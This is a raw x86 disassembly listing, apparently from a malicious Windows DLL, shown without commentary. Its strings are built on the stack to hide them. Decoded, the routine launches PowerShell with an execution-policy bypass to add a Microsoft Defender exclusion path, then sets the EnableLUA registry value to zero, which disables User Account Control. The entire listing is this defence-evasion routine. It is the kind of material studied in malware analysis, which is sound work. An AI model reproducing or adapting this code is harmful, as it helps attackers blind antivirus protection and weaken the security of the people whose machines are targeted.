push 0x1001a5ac
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1000458d
mov eax, dword [esp + 0x18]
test eax, eax
je 0x1000458d
mov ecx, dword [eax]
lea edx, [esp + 0x1cfc]
push edx
push eax
call dword [ecx + 0x18]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor ebx, ebx
push esi
lea eax, [esp + 0x70c]
push ebx
push eax
mov dword [esp + 0x708], 0x6c656853
mov dword [esp + 0x70c], 0x2e32336c
mov dword [esp + 0x710], 0x6c6c64
call fcn.1000c980
add esp, 0xc
lea eax, [esp + 0x6fc]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0xf1
mov esi, eax
lea eax, [esp + 0x30e]
push ebx
push eax
mov dword [esp + 0x308], 0x6c656853
mov dword [esp + 0x30c], 0x6578456c
mov dword [esp + 0x310], 0x65747563
mov word [esp + 0x314], 0x41
call fcn.1000c980
add esp, 0xc
lea eax, [esp + 0x2fc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x1000466d
push 0xfa
lea eax, [esp + 0x505]
push ebx
push eax
mov dword [esp + 0x508], 0x6e65704f
mov byte [esp + 0x50c], bl
call fcn.1000c980
add esp, 0xc
push 5
push ebx
push ebx
lea eax, [esp + 0x408]
push eax
lea eax, [esp + 0x50c]
push eax
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
push 1
call esi
push 1
call esi
push ebx
call fcn.1000b94f
mov edi, reloc.OLEAUT32.dll_SysReAllocString
push edi
push 2
lea eax, [esp + 0x404]
push eax
call fcn.10002887
push 0x3e8
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x20], 1
je 0x10004701
push edi
push 1
lea eax, [esp + 0x404]
push eax
call fcn.10002887
cmp eax, 1
je 0x10004701
dec edi
push edi
push 2
lea eax, [esp + 0x404]
push eax
call fcn.10002887
cmp eax, 1
je 0x10004701
push edi
push 1
lea eax, [esp + 0x404]
push eax
call fcn.10002887
cmp eax, 1
je 0x10004701
lea eax, [esp + 0x3fc]
push eax
call fcn.10002388
pop ecx
push esi
lea eax, [esp + 0x60c]
push ebx
push eax
mov dword [esp + 0x608], 0x6c656853
mov dword [esp + 0x60c], 0x2e32336c
mov dword [esp + 0x610], 0x6c6c64
call fcn.1000c980
add esp, 0xc
lea eax, [esp + 0x5fc]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0xf1
mov edi, eax
lea eax, [esp + 0x20e]
push ebx
push eax
mov dword [esp + 0x208], 0x6c656853
mov dword [esp + 0x20c], 0x6578456c
mov dword [esp + 0x210], 0x65747563
mov word [esp + 0x214], 0x41
call fcn.1000c980
add esp, 0xc
lea eax, [esp + 0x1fc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x20], eax
cmp eax, ebx
je 0x10004913
push 0xfa
lea eax, [esp + 0x505]
push ebx
push eax
mov dword [esp + 0x508], 0x6e65704f
mov byte [esp + 0x50c], bl
call fcn.1000c980
lea eax, [esp + 0x808]
add esp, 0xc
mov dword [esp + 0xa0], 0x65776f70
mov dword [esp + 0xa4], 0x65687372
mov dword [esp + 0xa8], 0x652e6c6c
mov word [esp + 0xac], 0x6578
mov byte [esp + 0xae], bl
mov dword [esp + 0x54], 0x6578452d
mov dword [esp + 0x58], 0x69747563
mov dword [esp + 0x5c], 0x6f506e6f
mov dword [esp + 0x60], 0x7963696c
mov dword [esp + 0x64], 0x70794220
mov dword [esp + 0x68], 0x20737361
mov dword [esp + 0x6c], 0x2d646441
mov dword [esp + 0x70], 0x7250704d
mov dword [esp + 0x74], 0x72656665
mov dword [esp + 0x78], 0x65636e65
mov dword [esp + 0x7c], 0x78452d20
mov dword [esp + 0x80], 0x73756c63
mov dword [esp + 0x84], 0x506e6f69
mov dword [esp + 0x88], 0x20687461
mov dword [esp + 0x8c], 0x27732527
mov dword [esp + 0x90], 0x6f462d20
mov dword [esp + 0x94], 0x656372
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000489e
sub eax, edi
cmp eax, ebx
jbe 0x100048b9
lea eax, [esp + eax + 0x7fb]
cmp byte [eax], 0x5c
jne 0x100048b9
mov byte [eax], bl
push 0xfe
lea eax, [esp + 0x1101]
push ebx
push eax
mov byte [esp + 0x1108], bl
call fcn.1000c980
add esp, 0xc
lea eax, [esp + 0x7fc]
push eax
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x1104]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push ebx
push ebx
lea eax, [esp + 0x1104]
push eax
lea eax, [esp + 0xac]
push eax
lea eax, [esp + 0x50c]
push eax
push ebx
call dword [esp + 0x38]
lea eax, [esp + 0x18]
push eax
push 0x102
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000494f
push 4
lea eax, [esp + 0x20]
push eax
push 4
push ebx
push str.EnableLUA
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x10004595